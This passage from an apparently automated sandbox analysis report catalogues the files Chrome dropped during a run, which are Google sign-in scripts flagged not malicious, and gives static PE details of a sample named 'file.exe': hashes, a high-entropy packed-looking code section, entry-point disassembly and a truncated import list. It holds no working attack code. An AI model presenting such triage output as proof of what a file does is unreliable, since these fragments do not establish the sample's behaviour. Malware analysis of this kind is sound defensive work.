.E9~.b[.w.x....6<...}.e...%V....O.......*.?...a..#[eE.4..p..$...].....%......o._......N.._~..El....b..A.0.r8.....\|..D.d..

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1694)
Category:	dropped
Size (bytes):	30935
Entropy (8bit):	5.371169902942595
Encrypted:	false
SSDEEP:	768:Xgl3PhQpcRhFxJDsNOeR2/29zLFBp5TezUaDj7Jzdpsx:Xk2cHJD02/29zLrLKfdsx
MD5:	F1545D146318DA5920B0816C57CC77BE
SHA1:	262F6F0EB58142083DA8ADB933A644A01DFABFCE
SHA-256:	1750ED29ADDB5FBEA0C90962A9BB5052AFA19FE3A84C1669FDEB9FC10629833C
SHA-512:	2FD34AF54449906D9341CCBA6A6F87537139C1D697983C64C98A06DF0446750C2AA780560CEFC8B40AE2A3475EFC52DEC90328CE515E3D70E5931132268538D5
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{.var Xqa=function(a,b){this.da=a;this.ea=b;if(!c){var c=new _.An("//www.google.com/images/cleardot.gif");_.Sn(c)}this.ja=c};_.h=Xqa.prototype;_.h.Lc=null;_.h.oV=1E4;_.h.Zx=!1;_.h.uM=0;_.h.WG=null;_.h.kR=null;_.h.setTimeout=function(a){this.oV=a};_.h.start=function(){if(this.Zx)throw Error("ob");this.Zx=!0;this.uM=0;Yqa(this)};_.h.stop=function(){Zqa(this);this.Zx=!1};.var Yqa=function(a){a.uM++;navigator!==null&&"onLine"in navigator&&!navigator.onLine?_.Ok((0,_.Hf)(a.rE,a,!1),0):(a.aa=new Image,a.aa.onload=(0,_.Hf)(a.Oda,a),a.aa.onerror=(0,_.Hf)(a.Nda,a),a.aa.onabort=(0,_.Hf)(a.Mda,a),a.WG=_.Ok(a.Pda,a.oV,a),a.aa.src=String(a.ja))};_.h=Xqa.prototype;_.h.Oda=function(){this.rE(!0)};_.h.Nda=function(){this.rE(!1)};_.h.Mda=function(){this.rE(!1)};_.h.Pda=function(){this.rE(!1)};._.h.rE=function(a){Zqa(this);a?(this.Zx=!1,this.da.call(this.ea,!0)):this.uM<=0?Yqa(this):(this.Zx=!1,

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (687)
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	5.370873036963021
Encrypted:	false
SSDEEP:	96:G71w6UN1jYiPru8RGxqUuJJeyC4CDp80w:sw5N1UC+xqUIJeyRCFi
MD5:	C3E7F0C35AE596218E4BDA368D732E9C
SHA1:	A0ACBB77FBD7892F28021BF622C56FDA6CAAB0B6
SHA-256:	C0615395F122C47B67C009320697DDC8B8B9520D2FFB9F532364F2F12B63C52D
SHA-512:	0D6E6A68B3C2FB7BB9462DFC01E0F2633E9A7D3E0FEA7863EAF9157714A403934FFC060F9D0709E980A0B8606A697F101FD7C6CB0BC308A48DE6FE18A4E77B06
Malicious:	false
Preview:	"use strict";_F_installCss(".N7rBcd{overflow-x:auto}sentinel{}");.this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.Jf(_.rpa);._.k("sOXFj");.var kr=function(a){_.J.call(this,a.Fa)};_.B(kr,_.J);kr.Ma=_.J.Ma;kr.Ba=_.J.Ba;kr.prototype.aa=function(a){return a()};_.er(_.qpa,kr);._.m();._.k("oGtAuc");._.Zua=new _.Pe(_.rpa);._.m();._.k("q0xTif");.var Zva=function(a){var b=function(d){_.Zl(d)&&(_.Zl(d).zc=null,_.wr(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])},Ir=function(a){_.Lp.call(this,a.Fa);this.Pa=this.dom=null;if(this.Pi()){var b=_.wk(this.Pf(),[_.Uk,_.Tk]);b=_.Dh([b[_.Uk],b[_.Tk]]).then(function(c){this.Pa=c[0];this.dom=c[1]},null,this);_.Zq(this,b)}this.Oa=a.qh.t9};_.B(Ir,_.Lp);Ir.Ba=function(){return{qh:{t9:function(){return _.zf(this)}}}};Ir.prototype.getContext=function(a){return this.Oa.getContext(a)};.Ir.prototype.getData=function(a){return this.Oa.getData(a)};Ir.protot

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (770)
Category:	dropped
Size (bytes):	239804
Entropy (8bit):	5.465982776841294
Encrypted:	false
SSDEEP:	3072:5E+QPdEn7RbhcR7/eHQUI302RiLtXZHVRM/:54En7Rbha72HA4LPHHM/
MD5:	7FD8FAA76F7BB85CF8CC81E3E6F4CD67
SHA1:	3E1E88EA27CBFA686BCAEEDE35E69C28A6D863B0
SHA-256:	7D07B160407F091E929F4A96E00E9E70C6C5BE0761F91535E29F43CE5A1B9037
SHA-512:	EC436043DCE7F5EB77CBD99C625DAB4608483AB972C7909D2ED5B8BAE527D8720E948D4534132EC01025AC600EAC1CCA7C8F8503CF3EFFC5424BAD59A177846C
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x210c1d04, 0x2046dd1, 0x1039c3c4, 0x40a500f, 0x32, 0x0, 0x368000, 0x660000, 0x0, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT./.var baa,daa,gaa,laa,oaa,cb,db,gb,Jb,Lb,Mb,yaa,zaa,Nb,Aaa,Baa,Caa,Rb,Wb,Gaa,Iaa,Kaa,Oaa,$b,ac,Qaa,Raa,Vaa,cba,dba,hba,kba,eba,jba,iba,gba,fba,lba,vc,qba,rba,oba,sba,wba,xba,yba,Tc,Bba,Cba,Dba,Eba,Fba,Iba,dd,Lba,Kba,Nba,id,hd,Pba,Oba,Sba,Rba,nd,Tba,Wba,Yba,Zba,aca,bca,Bd,nca,oca,Ld,Ad,Cd,Cca,zca,Dca,Eca,Hca,Fca,Lca,Mca,Nca,Qca,Rca,xca,Pca,Tca,kda,se,mda,te,nda,pda,rda,wda,xda,yda,zda,Ada,Dda,Fda,Mda,Nda,Oda,Sda,aea,Xda,dea,kf,gea,hea,iea,lea,n

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (777)
Category:	dropped
Size (bytes):	7629
Entropy (8bit):	5.36465854258877
Encrypted:	false
SSDEEP:	96:oVYlJ5BMnbVDInt5HnaSimrNVwKA9OMWCpYVerj4TkoUl8wjgzLmLVZWh1vFENTf:/ZDJVwKAf2SaClbkq0SKe
MD5:	6030F41A17CA86B9C7B92DED4A19AC22
SHA1:	B23CC557E98A8BB225F5D7F49FA55B31526835F1
SHA-256:	0CA06865AB82DFF694A3706301B9FAC2815ECCCD4A94B7B1F70AF1A42455452D
SHA-512:	1441926B98A7173B3E665DBE3C62E90B1952DEC1358FED3F16B100BE74DE3D203066EBE93EC08C54BC57A52E17067ABCDF25460C145BD2A795EF95B58CEC5AF8
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.cOa=_.y("wg1P6b",[_.gy,_.Jl,_.Pl]);._.k("wg1P6b");.var t3a=function(a,b){b=b\|\|_.Ma;for(var c=0,d=a.length,e;c<d;){var f=c+(d-c>>>1);var g=b(0,a[f]);g>0?c=f+1:(d=f,e=!g)}return e?c:-c-1},u3a=function(a,b){for(;b=b.previousSibling;)if(b==a)return-1;return 1},v3a=function(a,b){var c=a.parentNode;if(c==b)return-1;for(;b.parentNode!=c;)b=b.parentNode;return u3a(b,a)},w3a=function(a,b){if(a==b)return 0;if(a.compareDocumentPosition)return a.compareDocumentPosition(b)&2?1:-1;if("sourceIndex"in a\|\|a.parentNode&&"sourceIndex"in a.parentNode){var c=a.nodeType==.1,d=b.nodeType==1;if(c&&d)return a.sourceIndex-b.sourceIndex;var e=a.parentNode,f=b.parentNode;return e==f?u3a(a,b):!c&&_.uh(e,b)?-1*v3a(a,b):!d&&_.uh(f,a)?v3a(b,a):(c?a.sourceIndex:e.sourceIndex)-(d?b.sourceIndex:f.sourceIndex)}d=_.kh(a);c=d.createRange();c.selectNode(a);c.collapse(!0);a=d.createRange();a.selectNode(b);a.colla

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22718)
Category:	dropped
Size (bytes):	808443
Entropy (8bit):	5.7373064022993505
Encrypted:	false
SSDEEP:	6144:PL7nbXr8z97366e1X5fsgbORhlVrqjjIg9tBmKTnYgo/YLLpTi665Tw:PL7bXr8z9eVNuVZYYgUYLF5
MD5:	7F5C92D75CCF9BD0BB5A92832EC74521
SHA1:	AFE1BD5C489973995DB314E5A6F5F927F35FD82E
SHA-256:	868D3E329229C43D0058F2E943283CBACCEC86E42434A7F9BB0220B8605FEA56
SHA-512:	B97B2E9304122DD23A51CA1097AC4B9183A2784B02055A5FFB76757D353369DD1D8FBCEE36E4F32362C5B59259570D80936C0F203123269DF33B660DB55A1227
Malicious:	false
Preview:	"use strict";_F_installCss(".VfPpkd-Sx9Kwc .VfPpkd-P5QLlc{background-color:#fff;background-color:var(--mdc-theme-surface,#fff)}.VfPpkd-Sx9Kwc .VfPpkd-IE5DDf,.VfPpkd-Sx9Kwc .VfPpkd-P5QLlc-GGAcbc{background-color:rgba(0,0,0,.32)}.VfPpkd-Sx9Kwc .VfPpkd-k2Wrsb{color:rgba(0,0,0,.87)}.VfPpkd-Sx9Kwc .VfPpkd-cnG4Wd{color:rgba(0,0,0,.6)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub{color:#000;color:var(--mdc-theme-on-surface,#000)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub .VfPpkd-Bz112c-Jh9lGc::after{background-color:#000;background-color:var(--mdc-ripple-color,var(--mdc-theme-on-surface,#000))}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub:hover .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub.VfPpkd-ksKsZd-XxIAqe-OWXEXe-ZmdkE .VfPpkd-Bz112c-Jh9lGc::before{opacity:.04;opacity:var(--mdc-ripple-hover-opacity,.04)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub:not(.VfPpkd-ksKsZd-mWPk3d):

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (693)
Category:	dropped
Size (bytes):	3143
Entropy (8bit):	5.395278722976637
Encrypted:	false
SSDEEP:	96:oIgyApevcKKbXi57OPtiPqT8CY+wN84BYvw:Eyw4cFbXi5etCU8Cd884Bx
MD5:	BCA7634907B79815ED2EFE44FB3B61FF
SHA1:	CF4940BF244F15AEF096BBE9FA161F0334ECDFBD
SHA-256:	2EFD21EA0D283FBC11B9B27F59E0262460030B68280C6D27C0ABB104D4478D18
SHA-512:	B0048E654C094B3BE7616BC6BA887F4081A4A4FAF56ED87E327B26303E0205A674BC8FDFD26B0AFCFADA5A08BF17816DE633D6259C132F56001DAE7059028EAB
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ZwDk9d");.var Bw=function(a){_.J.call(this,a.Fa)};_.B(Bw,_.J);Bw.Ma=_.J.Ma;Bw.Ba=_.J.Ba;Bw.prototype.qO=function(a){return _.De(this,{Xa:{xP:_.Ij}}).then(function(b){var c=window._wjdd,d=window._wjdc;return!c&&d?new _.Bh(function(e){window._wjdc=function(f){d(f);e(NFa(f,b,a))}}):NFa(c,b,a)})};var NFa=function(a,b,c){return(a=a&&a[c])?a:b.Xa.xP.qO(c)};.Bw.prototype.aa=function(a,b){var c=_.qua(b).Qi;if(c.startsWith("$")){var d=_.bm.get(a);_.rq[b]&&(d\|\|(d={},_.bm.set(a,d)),d[c]=_.rq[b],delete _.rq[b],_.sq--);if(d)if(a=d[c])b=_.Ce(a);else throw Error("$b`"+b);else b=null}else b=null;return b};_.er(_.Tea,Bw);._.m();._.k("SNUn3");._.MFa=new _.Pe(_.Kf);._.m();._.k("RMhBfe");.var OFa=function(a,b){a=_.Hsa(a,b);return a.length==0?null:a[0].ctor},PFa=function(){return Object.values(_.op).reduce(function(a,b){return a+Object.keys(b).length},0)},QFa=function(){return Object.entries

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.453416561671607
Encrypted:	false
SSDEEP:	3:8VKJmQcwVbF7KnZ:BJmjwVbF7KZ
MD5:	491DC96011445194971CFAE6A7A0B191
SHA1:	74BD675A8CBC8AF507C0EB5509727EA3F9B85060
SHA-256:	C3BA6FCBB38A83C87009DEE4BAB93A9B3274553128D77E5B2C04077ECD35C1D3
SHA-512:	38356EF67B6B704F2129828299E516B04B29EA1EEB25CF356E22E3AFEC7A875E2187F70E9E7CF0467DEFA14F11D802ACF00D69B2B13EFEA025942E21383AC35E
Malicious:	false
Preview:	Ch8KBw0ZARP6GgAKCw3oIX6GGgQISxgCCgcN05ioBxoA

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (405)
Category:	dropped
Size (bytes):	1600
Entropy (8bit):	5.22752010187924
Encrypted:	false
SSDEEP:	48:o7MbOMh02nH2AbURSCiyb8pAztxbmzZ7Dujefrw:oSh02HeSCb8uxKTw
MD5:	1F5C70264C0DAF953AAFF6A4D70463C0
SHA1:	C5298B3FD509879B6F730A5F408DB07911AD0991
SHA-256:	D0B6060D0EDD26634F7671824398F8C73BC94EE44FC95FC4E12177BD951D5882
SHA-512:	655A20C8DEC85595EE31532D1FE48491FC7F844378A43109511D7BA8DDAE9CD61D81FB3451033A3B901D3FE3EF4A50E0F7B06F99815A1FCDCC6199989C0134D7
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("w9hDv");._.Jf(_.Yja);_.zw=function(a){_.J.call(this,a.Fa);this.aa=a.Xa.cache};_.B(_.zw,_.J);_.zw.Ma=_.J.Ma;_.zw.Ba=function(){return{Xa:{cache:_.Dp}}};_.zw.prototype.execute=function(a){_.Ua(a,function(b){var c;_.Be(b)&&(c=b.fb.Yb(b.jb));c&&this.aa.cE(c)},this);return{}};_.er(_.ska,_.zw);._.m();._.k("VwDzFe");.var kF=function(a){_.J.call(this,a.Fa);this.aa=a.Da.hp;this.ea=a.Da.metadata;this.da=a.Da.yr};_.B(kF,_.J);kF.Ma=_.J.Ma;kF.Ba=function(){return{Da:{hp:_.LE,metadata:_.oXa,yr:_.IE}}};kF.prototype.execute=function(a){var b=this;a=this.da.create(a);return _.Ua(a,function(c){var d=b.ea.getType(c.Fd())===2?b.aa.Ub(c):b.aa.aa(c);return _.Uj(c,_.ME)?d.then(function(e){return _.pd(e)}):d},this)};_.er(_.xka,kF);._.m();._.k("sP4Vbe");._.nXa=new _.Pe(_.tka);._.m();._.k("A7fCU");.var QE=function(a){_.J.call(this,a.Fa);this.aa=a.Da.EM};_.B(QE,_.J);QE.Ma=_.J.Ma;QE.Ba=function(){r

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1192)
Category:	dropped
Size (bytes):	94110
Entropy (8bit):	5.539901212338606
Encrypted:	false
SSDEEP:	1536:a3CLQuMIFEQxjSArvgRlT96Tv9VDmvtCp8Q7xsdLwN7woJZSZ:oWRrvgRlT96pVDmvtCd7xsdFoDSZ
MD5:	2DAE47A86AB6E5CF82F856151B515E99
SHA1:	B062C0BED8BAFDA97134F624F696A7ECCDEE7145
SHA-256:	6EE967D1F0614D9D138ED6D8BCB6E4F22D6DA236A2562D21DA859F463FB70348
SHA-512:	5D09752590D1C8516564C1CB91DE734D82F95E25F815FB8C995AAC77C1892E7640E5C7DE12CB99453D30016129D3B8F53B14E1AFFF0152C1323AE588C4C4DEA6
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ltDFwf");.var bxb=_.y("ltDFwf");var PU=function(a){_.K.call(this,a.Fa);var b=this.ta();this.ub=this.Sa("P1ekSe");this.mb=this.Sa("cQwEuf");this.da=b.getData("progressvalue").number(0);this.ja=b.getData("buffervalue").number(1);this.Ca=b.yb("B6Vhqe");this.Oa=b.yb("juhVM");this.wa=b.yb("D6TUi");this.aa=b.yb("qdulke");this.La=this.da!==0;this.Ka=this.ja!==1;this.Ga=[];this.ea=_.Bs(this).Ub(function(){this.Ga.length&&(this.Ga.forEach(this.E$,this),this.Ga=[]);this.La&&(this.La=!1,this.ub.setStyle("transform","scaleX("+this.da+")"));.this.Ka&&(this.Ka=!1,this.mb.setStyle("transform","scaleX("+this.ja+")"));_.sr(b,"B6Vhqe",this.Ca);_.sr(b,"D6TUi",this.wa);_.sr(b,"juhVM",this.Oa);_.sr(b,"qdulke",this.aa)}).build();this.ea();_.ch&&_.Bs(this).Ub(function(){b.qb("ieri7c")}).Be().build()();_.yA(this.ta().el(),this.Ra.bind(this))};_.B(PU,_.K);PU.Ba=_.K.Ba;.PU.prototype.Ra=function(a

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.12196004855163
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	253'952 bytes
MD5:	d3ce34e9bb2a33ab3d637e75af2a8bb8
SHA1:	6c309255f2e701f8325c0ba2eba8fe270c32e44a
SHA256:	8c207b724ee5d0febaa25aadf3861b31e3740412da99dfd53e5518db47082312
SHA512:	fdea0ce0da180d2bc06234ec427226fd39a4a16fea23fe527c0b88a9f552cbf9e70885c5f91a35bd8fc78b72266c8fd702ef77404c350f96232d6cc321de382a
SSDEEP:	3072:6HXfJmQUzKqHjuplWvBspz5phUjbc3kej1HW9UZgBhTARop+Ps1fZAgT2:QPJmQUzKFesXMbaL12D1ArsnAgT
TLSH:	0744BE10BA94D436DDA355348CB8D2F5263B7C938B64998F77583F2F3D72281AA21372
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}...............j}......jH......j\|......dE..............jy......jL......jK.....Rich....................PE..L......c...........

File Icon


Icon Hash:	cd4d3d2e4e054d03

Static PE Info

General

Entrypoint:	0x40205c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63DB0FC1 [Thu Feb 2 01:20:01 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3c4625b089724a866beb99a0245cb276

Entrypoint Preview

Instruction
call 00007F2739078422h
jmp 00007F273907481Eh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword ptr [ebp+0Ch]
push esi
call 00007F2739075F82h
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [esi+0Ch]
pop ecx
test al, 82h
jne 00007F27390749A9h
call 00007F273907598Fh
mov dword ptr [eax], 00000009h
or dword ptr [esi+0Ch], 20h
or eax, FFFFFFFFh
jmp 00007F2739074AC4h
test al, 40h
je 00007F273907499Fh
call 00007F2739075974h
mov dword ptr [eax], 00000022h
jmp 00007F2739074975h
push ebx
xor ebx, ebx
test al, 01h
je 00007F27390749A8h
mov dword ptr [esi+04h], ebx
test al, 10h
je 00007F2739074A1Dh
mov ecx, dword ptr [esi+08h]
and eax, FFFFFFFEh
mov dword ptr [esi], ecx
mov dword ptr [esi+0Ch], eax
mov eax, dword ptr [esi+0Ch]
and eax, FFFFFFEFh
or eax, 02h
mov dword ptr [esi+0Ch], eax
mov dword ptr [esi+04h], ebx
mov dword ptr [ebp-04h], ebx
test eax, 0000010Ch
jne 00007F27390749BEh
call 00007F2739075B1Ah
add eax, 20h
cmp esi, eax
je 00007F273907499Eh
call 00007F2739075B0Eh
add eax, 40h
cmp esi, eax
jne 00007F273907499Fh
push dword ptr [ebp+0Ch]
call 00007F2739078DA8h
pop ecx
test eax, eax
jne 00007F2739074999h
push esi
call 00007F2739078D54h
pop ecx
test dword ptr [esi+0Ch], 00000108h
push edi
je 00007F2739074A16h
mov eax, dword ptr [esi+08h]
mov edi, dword ptr [esi]
lea ecx, dword ptr [eax+01h]
mov dword ptr [esi], ecx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x258b4	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2048000	0xd7f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x25918	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x25380	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x219c0	0x21a00	f2232e7a5e02600fa4f853092e575387	False	0.8959616054832714	data	7.823583257358654	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x3258	0x3400	3f23e393345c988e7b3f6cbca3ae0e2d	False	0.3486328125	data	4.922670555755531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x202098c	0xb600	07f151b179928f3c4d4372d2a1a3126d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2048000	0xd7f0	0xd800	aed658982594f576ab1b0bf8bbec9519	False	0.3402777777777778	data	4.368021567220366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x204eea8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x204fd50	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x20505f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x2050b90	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x2050cc0	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x2050d98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x2051c40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x20524e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x2052a80	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x2053928	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x20541d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x2048630	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.4698827292110874
RT_ICON	0x2048630	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.4698827292110874
RT_ICON	0x20494d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5852888086642599
RT_ICON	0x20494d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5852888086642599
RT_ICON	0x2049d80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6497695852534562
RT_ICON	0x2049d80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6497695852534562
RT_ICON	0x204a448	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.7044797687861272
RT_ICON	0x204a448	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.7044797687861272
RT_ICON	0x204a9b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.3699170124481328
RT_ICON	0x204a9b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.3699170124481328
RT_ICON	0x204cf58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.46318011257035646
RT_ICON	0x204cf58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.46318011257035646
RT_ICON	0x204e000	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.5422131147540984
RT_ICON	0x204e000	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.5422131147540984
RT_ICON	0x204e988	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.6365248226950354
RT_ICON	0x204e988	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.6365248226950354
RT_STRING	0x20549c8	0x452	data	Tamil	India	0.45479204339963836
RT_STRING	0x20549c8	0x452	data	Tamil	Sri Lanka	0.45479204339963836
RT_STRING	0x2054e20	0x28e	data	Tamil	India	0.481651376146789
RT_STRING	0x2054e20	0x28e	data	Tamil	Sri Lanka	0.481651376146789
RT_STRING	0x20550b0	0x73e	data	Tamil	India	0.4261057173678533
RT_STRING	0x20550b0	0x73e	data	Tamil	Sri Lanka	0.4261057173678533
RT_ACCELERATOR	0x204ee68	0x40	data	Tamil	India	0.875
RT_ACCELERATOR	0x204ee68	0x40	data	Tamil	Sri Lanka	0.875
RT_GROUP_CURSOR	0x2050b60	0x30	data			0.9375
RT_GROUP_CURSOR	0x2050d70	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x2052a50	0x30	data			0.9375
RT_GROUP_CURSOR	0x2054738	0x30	data			0.9375
RT_GROUP_ICON	0x204edf0	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x204edf0	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_VERSION	0x2054768	0x25c	data			0.5331125827814569

Imports

DLL	Import
KERNEL32.dll	SetEndOfFile, LocalCompact, GetModuleHandleW, GetTickCount, CreateNamedPipeW, GetProcessHeap, GetConsoleAliasesA, GetConsoleCP, GlobalAlloc, GetSystemDirectoryW, SetFileShortNameW, LoadLibraryW, IsProcessInJob, FatalAppExitW, AssignProcessToJobObject, IsBadCodePtr, ReplaceFileW, GetModuleFileNameW, GlobalUnlock, CreateJobObjectA, GetLastError, GetProcAddress, WriteConsoleInputW, VerLanguageNameW, LoadLibraryA, SetConsoleCtrlHandler, AddAtomW, HeapWalk, EnumResourceTypesW, SetEnvironmentVariableA, GetOEMCP, EnumDateFormatsA, EnumResourceNamesA, GetFileTime, SetProcessShutdownParameters, GetDiskFreeSpaceExW, LCMapStringW, CreateFileW, HeapSize, FlushFileBuffers, FindVolumeClose, PeekConsoleInputW, CreateFileA, HeapReAlloc, GetStringTypeW, HeapFree, GetCommandLineW, HeapSetInformation, 